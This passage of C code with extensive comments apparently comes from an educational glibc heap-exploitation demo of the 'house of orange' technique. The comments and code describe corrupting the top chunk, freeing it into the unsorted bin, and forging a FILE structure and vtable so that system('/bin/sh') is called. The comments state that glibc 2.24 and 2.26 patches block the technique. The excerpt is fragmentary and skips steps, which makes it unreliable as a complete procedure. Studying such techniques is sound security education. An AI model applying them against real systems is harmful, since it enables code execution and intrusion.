fprintf(stderr, "The attack vector of this technique was removed by changing the behavior of malloc_printerr, " "which is no longer calling _IO_flush_all_lockp, in 91e7cf982d0104f0e71770f5ae8e3faf352dea9f (2.26).\n"); fprintf(stderr, "Since glibc 2.24 _IO_FILE vtable are checked against a whitelist breaking this exploit," "https://sourceware.org/git/?p=glibc.git;a=commit;h=db3476aff19b75c4fdefbe65fcd5f0a90588ba51\n");
p1 = malloc(0x400-16);
/* The heap is usually allocated with a top chunk of size 0x21000 Since we've allocate a chunk of size 0x400 already, what's left is 0x20c00 with the PREV_INUSE bit set => 0x20c01. The heap boundaries are page aligned. Since the Top chunk is the last chunk on the heap, it must also be page aligned at the end. Also, if a chunk that is adjacent to the Top chunk is to be freed, then it gets merged with the Top chunk. So the PREV_INUSE bit of the Top chunk is always set. So that means that there are two conditions that must always be true. 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. We can satisfy both of these conditions if we set the size of the Top chunk to be 0xc00 | PREV_INUSE. What's left is 0x20c01 Now, let's satisfy the conditions 1) Top chunk + size has to be page aligned 2) Top chunk's prev_inuse bit has to be set. */
/* Now we request a chunk of size larger than the size of the Top chunk. Malloc tries to service this request by extending the Top chunk This forces sysmalloc to be invoked. In the usual scenario, the heap looks like the following |------------|------------|------...----| | chunk | chunk | Top ... | |------------|------------|------...----| heap start heap end And the new area that gets allocated is contiguous to the old heap end. So the new size of the Top chunk is the sum of the old size and the newly allocated size. In order to keep track of this change in size, malloc uses a fencepost chunk, which is basically a temporary chunk. After the size of the Top chunk has been updated, this chunk gets freed. In our scenario however, the heap looks like |------------|------------|------..--|--...--|---------| | chunk | chunk | Top .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start heap end In this situation, the new Top will be starting from an address that is adjacent to the heap end. So the area between the second chunk and the heap end is unused. And the old Top chunk gets freed. Since the size of the Top chunk, when it is freed, is larger than the fastbin sizes, it gets added to list of unsorted bins. Now we request a chunk of size larger than the size of the top chunk. This forces sysmalloc to be invoked. And ultimately invokes _int_free Finally the heap looks like this: |------------|------------|------..--|--...--|---------| | chunk | chunk | free .. | ... | new Top | |------------|------------|------..--|--...--|---------| heap start new heap end */
/* At the end, the system function will be invoked with the pointer to this file pointer. If we fill the first 8 bytes with /bin/sh, it is equivalent to system(/bin/sh) */
/* Now comes the part where we satisfy the constraints on the fake file pointer required by the function _IO_flush_all_lockp and tested here: https://code.woboq.org/userspace/glibc/libio/genops.c.html#813 We want to satisfy the first condition: fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base */
FILE *fp = (FILE *) top;
/* 1. Set mode to 0: fp->_mode <= 0 */
fp->_mode = 0; // top+0xc0
/* 2. Set write_base to 2 and write_ptr to 3: fp->_IO_write_ptr > fp->_IO_write_base */
/* 4) Finally set the jump table to controlled memory and place system there. The jump table pointer is right after the FILE struct: base_address+sizeof(FILE) = jump_table 4-a) _IO_OVERFLOW calls the ptr at offset 3: jump_table+0x18 == winner */